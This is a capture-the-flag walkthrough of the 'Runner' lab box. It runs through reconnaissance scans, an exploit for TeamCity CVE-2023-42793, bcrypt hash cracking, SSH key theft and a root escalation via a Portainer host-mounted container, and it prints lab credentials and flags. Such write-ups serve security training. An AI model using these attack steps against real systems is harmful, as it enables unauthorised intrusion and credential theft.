Runner - Walkthrough
Runner is a medium difficulty Linux box that contains a vulnerability CVE-2023-42793 in TeamCity. This vulnerability allows users to bypass authentication and extract an API token, which can be used to enable debug features for executing system commands. By gaining access to a TeamCity docker container and compressing the HSQLDB database files, we can extract credentials for the user matthew and find an SSH key for john. After cracking the password, we can authenticate on the host filesystem. Upon inspecting the /etc/hosts file, we discover a running Portainer instance. Using matthew's credentials, we access the subdomain externally. While authenticated, we find that we can create images, but our privileges are limited. After checking the version of runc on the host, we exploit a vulnerability CVE-2024-21626 through the image build function of Portainer, which allows us to create a SUID bash file on the host.
Reconnaissance
We begin with an Nmap scan to identify open services:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping 10.10.11.13 -oG allPortsThe scan reveals:
| PORT | STATE | SERVICE |
|---|---|---|
| 22/tcp | open | ssh |
| 80/tcp | open | http |
| 8000/tcp | open | http-alt |
A targeted scan provides more details:
sudo nmap -p22,80,8000 -sCV 10.10.11.13 -oN targeted- SSH → OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
- HTTP (80) → Nginx 1.18.0
- HTTP (8000) → Nagios NSCA
We add the hostname to /etc/hosts:
sudo sh -c 'echo "10.10.11.13 runner.htb" >> /etc/hosts'
Enumeration
Using CeWL, we generate a wordlist from the website:
./cewl.rb http://runner.htb/ -d 4 --with-numbers --lowercase -w wordlist.txtWe discover a subdomain through fuzzing:
ffuf -w wordlist.txt:FUZZ -u "http://runner.htb" -H "HOST: FUZZ.runner.htb" -mc "all" -fs 154Result: teamcity.runner.htb

Exploitation
We exploit CVE-2023-42793 to create an admin account on TeamCity:
python3 exploit.py -u "http://teamcity.runner.htb" -vThe exploit creates an admin account:
| Username | Password |
|---|---|
| city_admin4gdi | Main_password!!** |
We access the admin panel and create a backup:

From the backup, we extract bcrypt hashes:
sudo grep -r 'matthew' ./
./database_dump/users:2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, [email protected], 1709150421438, BCRYPTWe crack matthew's password:
hashcat -m 3200 -a 0 matthew.txt /usr/share/wordlists/rockyou.txt --show
$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em:piper123In config/projects/AllProjects/pluginData/ssh_keys, we find john's SSH private key.
We SSH as john and capture the user flag:
cat user.txtUser flag: 46f036b2e01683b1eb24ed7c190d28a0
Privilege Escalation
Checking open ports, we find Portainer running on localhost:9000:
netstat -peanut | grep 9000tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTENWe forward the port using SSH:
sudo ssh -L 9000:localhost:9000 -i ./id_rsa [email protected]
We log in to Portainer using matthew's credentials. We create a new container with a volume mounted to the host's root filesystem, allowing us to access the entire system.
We execute commands through the container console and capture the root flag:
cat root.txtRoot flag: 40d794acdf1f285161e72b1a89f89a88